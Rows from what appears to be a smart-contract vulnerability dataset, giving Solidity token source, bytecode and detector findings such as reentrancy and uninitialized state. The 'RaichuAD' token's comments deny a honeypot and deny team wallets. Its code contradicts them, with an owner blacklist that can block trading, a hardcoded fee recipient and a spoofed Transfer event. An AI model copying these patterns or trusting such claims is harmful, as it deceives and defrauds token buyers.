_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redistributionAddress, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102a9578063a9059cbb146102d6578063c3c8cd80146102f6578063c9567bf91461030b578063dd62ed3e1461032057600080fd5b80636fc3eaec1461023757806370a082311461024c578063715018a61461026c5780638da5cb5b1461028157600080fd5b80632ab30838116100d15780632ab30838146101ce578063313ce567146101e5578063325b3b18146102015780635932ead11461021757600080fd5b806306fdde031461010e578063095ea7b31461015957806318160ddd1461018957806323b872dd146101ae57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152601081526f1d0b9b594bd195511bd9999a58da585b60821b60208201525b6040516101509190611111565b60405180910390f35b34801561016557600080fd5b5061017961017436600461117b565b610366565b6040519015158152602001610150565b34801561019557600080fd5b50670de0b6b3a76400005b604051908152602001610150565b3480156101ba57600080fd5b506101796101c93660046111a7565b61037d565b3480156101da57600080fd5b506101e36103e6565b005b3480156101f157600080fd5b5060405160098152602001610150565b34801561020d57600080fd5b506101a0600f5481565b34801561022357600080fd5b506101e36102323660046111f6565b610427565b34801561024357600080fd5b506101e361046f565b34801561025857600080fd5b506101a0610267366004611213565b61049c565b34801561027857600080fd5b506101e36104be565b34801561028d57600080fd5b506000546040516001600160a01b039091168152602001610150565b3480156102b557600080fd5b506040805180820190915260048152634655443f60e01b6020820152610143565b3480156102e257600080fd5b506101796102f136600461117b565b610532565b34801561030257600080fd5b506101e361053f565b34801561031757600080fd5b506101e3610575565b34801561032c57600080fd5b506101a061033b366004611230565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061037333848461075b565b5060015b92915050565b600061038a84848461087f565b6103dc84336103d785604051806060016040528060288152602001611414602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610a36565b61075b565b5060019392505050565b6000546001600160a01b031633146104195760405162461bcd60e51b815260040161041090611269565b60405180910390fd5b670de0b6b3a7640000601055565b6000546001600160a01b031633146104515760405162461bcd60e51b815260040161041090611269565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461048f57600080fd5b4761049981610a70565b50565b6001600160a01b03811660009081526002602052604081205461037790610aae565b6000546001600160a01b031633146104e85760405162461bcd60e51b815260040161041090611269565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061037333848461087f565b600c546001600160a01b0316336001600160a01b03161461055f57600080fd5b600061056a3061049c565b905061049981610b32565b6000546001600160a01b0316331461059f5760405162461bcd60e51b815260040161041090611269565b600e54600160a01b900460ff16156105f95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610410565b42600f55600d546001600160a01b031663f305d71947306106198161049c565b60008061062e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610696573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106bb919061129e565b5050600e8054662386f26fc1000060105563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610737573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061049991906112cc565b6001600160a01b0383166107bd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610410565b6001600160a01b03821661081e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610410565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116108e15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610410565b6001600160a01b03831660009081526006602052604090205460ff161561090757600080fd5b6001600160a01b0383163014610a26576001600a908155600b55600e546001600160a01b03848116911614801561094c5750600d546001600160a01b03838116911614155b801561097157506001600160a01b03821660009081526005602052604090205460ff16155b80156109865750600e54600160b81b900460ff165b156109af57600f5461099990601e6112ff565b4210156109af576010548111156109af57600080fd5b60006109ba3061049c565b600e54909150600160a81b900460ff161580156109e55750600e546001600160a01b03858116911614155b80156109fa5750600e54600160b01b900460ff165b15610a2457610a0881610b32565b47670429d069189e0000811115610a2257610a2247610a70565b505b505b610a31838383610cac565b505050565b60008184841115610a5a5760405162461bcd60e51b81526004016104109190611111565b506000610a678486611317565b95945050505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610aaa573d6000803e3d6000fd5b5050565b6000600854821115610b155760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610410565b6000610b1f610cb7565b9050610b2b8382610cda565b9392505050565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610b7a57610b7a61132e565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610bd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf79190611344565b81600181518110610c0a57610c0a61132e565b6001600160a01b039283166020918202929092010152600d54610c30913091168461075b565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610c69908590600090869030904290600401611361565b600060405180830381600087803b158015610c8357600080fd5b505af1158015610c97573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b610a31838383610d1c565b6000806000610cc4610e13565b9092509050610cd38282610cda565b9250505090565b6000610b2b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e53565b600080600080600080610d2e87610e81565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610d609087610ede565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610d8f9086610f20565b6001600160a01b038916600090815260026020526040902055610db181610f7f565b610dbb8483610fc9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610e0091815260200190565b60405180910390a3505050505050505050565b6008546000908190670de0b6b3a7640000610e2e8282610cda565b821015610e4a57505060085492670de0b6b3a764000092509050565b90939092509050565b60008183610e745760405162461bcd60e51b81526004016104109190611111565b506000610a6784866113d2565b6000806000806000806000806000610e9e8a600a54600b54610fed565b9250925092506000610eae610cb7565b90506000806000610ec18e878787611042565b919e509c509a509598509396509194505050505091939550919395565b6000610b2b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a36565b600080610f2d83856112ff565b905083811015610b2b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610410565b6000610f89610cb7565b90506000610f978383611092565b30600090815260026020526040902054909150610fb49082610f20565b30600090815260026020526040902055505050565b600854610fd69083610ede565b600855600954610fe69082610f20565b6009555050565b600080808061100760646110018989611092565b90610cda565b9050600061101a60646110018a89611092565b905060006110328261102c8b86610ede565b90610ede565b9992985090965090945050505050565b60008080806110518886611092565b9050600061105f8887611092565b9050600061106d8888611092565b9050600061107f8261102c8686610ede565b939b939a50919850919650505050505050565b6000826110a157506000610377565b60006110ad83856113f4565b9050826110ba85836113d2565b14610b2b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610410565b600060208083528351808285015260005b8181101561113e57858101830151858201604001528201611122565b81811115611150576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461049957600080fd5b6000806040838503121561118e57600080fd5b823561119981611166565b946020939093013593505050565b6000806000606084860312156111bc57600080fd5b83356111c781611166565b925060208401356111d781611166565b929592945050506040919091013590565b801515811461049957600080fd5b60006020828403121561120857600080fd5b8135610b2b816111e8565b60006020828403121561122557600080fd5b8135610b2b81611166565b6000806040838503121561124357600080fd5b823561124e81611166565b9150602083013561125e81611166565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156112b357600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156112de57600080fd5b8151610b2b816111e8565b634e487b7160e01b600052601160045260246000fd5b60008219821115611312576113126112e9565b500190565b600082821015611329576113296112e9565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561135657600080fd5b8151610b2b81611166565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156113b15784516001600160a01b03168352938301939183019160010161138c565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826113ef57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561140e5761140e6112e9565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ce7bc695e7ebcb8eb640af980264cd2b9f28d7faa1520bce8a5e5ea5420eb06564736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,238 |
0xa6d7ae1a1d762e3bef0b0533920980f3f9d44b9d
|
/**
*/
/*
ETHEREUM RAICHU - $eRAICHU
ADVERT! OFFICIAL CONTRACT WILL BE POSTED BEFORE LAUNCH! MORE DETAILS IN OUR TELEGRAM : https://t.me/eRaichu
Extreme bot protection! No bots will be able to partake in the project.
100% Fair Launch NO dev wallets or pre-sale/Initial liquidity offering!
There will be a buy limit on launch, the exact amount will be disclosed in our telegram before launch!
There will be a cooldown of 30 seconds at launch between buying/selling on each unique addy this is an antibot measure also don't multi buy it wont work
The cooldown will be removed some time after launch
DON'T panic not a honeypot! you'll be able to sell after 30 seconds!
Join the telegram for more info
https://t.me/eRaichu
⚡️Tokenomics ⚡️
✔️ 1,000,000,000,000 Total Supply
✔️ 15% Burned before launch
✔️ Hardcoded buy limit of 0.25%
✔️ No pre-sale or Initial Liquidity offering! ALSO NO TEAM OR MARKETING WALLETS! 100% FAIR LAUNCH
✔️ 5% Automated Rewards Farming (ARF)
✔️ 30 Seconds cooldown timer on unique addresses
✔️ Gradually increasing max TX (done manually by function)
💸BUYS 💸
✔️ 7% Redistribution to current holders
✔️ 5% Developer Fee (since we provide starting LP)
💰 SELLS 💰
✔️ 7% Redistribution to current holders
✔️ 8% Developer Fee (since we provide starting LP)
✔️ 100% of liquidity will be locked minutes after launch!
✔️ Ownership will be renounced
SOCIALS:
Website: https://raichucoin.com
Twitter: https://twitter.com/eRAICHUcoin
Telegram: https://t.me/eRaichu
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RaichuAD is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"https://t.me/eRaichu - (raichucoin.com)";
string private constant _symbol = '$eRAICHU Ad';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 7;
_teamFee = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (33 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 7;
_teamFee = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
payable(0x69696902c8e3950Ca062527c61E23B8Aedb444cB).transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2.125e9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d9d565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128e3565b610441565b6040516101789190612d82565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190612f1f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612894565b610470565b6040516101e09190612d82565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612806565b610549565b005b34801561021e57600080fd5b50610227610639565b6040516102349190612f94565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612960565b610642565b005b34801561027257600080fd5b5061027b6106f4565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612806565b610766565b6040516102b19190612f1f565b60405180910390f35b3480156102c657600080fd5b506102cf6107b7565b005b3480156102dd57600080fd5b506102e661090a565b6040516102f39190612cb4565b60405180910390f35b34801561030857600080fd5b50610311610933565b60405161031e9190612d9d565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128e3565b610970565b60405161035b9190612d82565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061291f565b61098e565b005b34801561039957600080fd5b506103a2610ade565b005b3480156103b057600080fd5b506103b9610b58565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129b2565b6110b4565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612858565b6111fd565b6040516104189190612f1f565b60405180910390f35b606060405180606001604052806027815260200161365760279139905090565b600061045561044e611284565b848461128c565b6001905092915050565b6000683635c9adc5dea00000905090565b600061047d848484611457565b61053e84610489611284565b6105398560405180606001604052806028815260200161362f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ef611284565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0f9092919063ffffffff16565b61128c565b600190509392505050565b610551611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d590612e7f565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064a611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612e7f565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610735611284565b73ffffffffffffffffffffffffffffffffffffffff161461075557600080fd5b600047905061076381611b73565b50565b60006107b0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c60565b9050919050565b6107bf611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084390612e7f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f2465524149434855204164000000000000000000000000000000000000000000815250905090565b600061098461097d611284565b8484611457565b6001905092915050565b610996611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a90612e7f565b60405180910390fd5b60005b8151811015610ada57600160066000848481518110610a6e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad290613235565b915050610a26565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1f611284565b73ffffffffffffffffffffffffffffffffffffffff1614610b3f57600080fd5b6000610b4a30610766565b9050610b5581611cce565b50565b610b60611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490612e7f565b60405180910390fd5b601160149054906101000a900460ff1615610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3490612eff565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ccd30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1357600080fd5b505afa158015610d27573d6000803e3d6000fd5b5050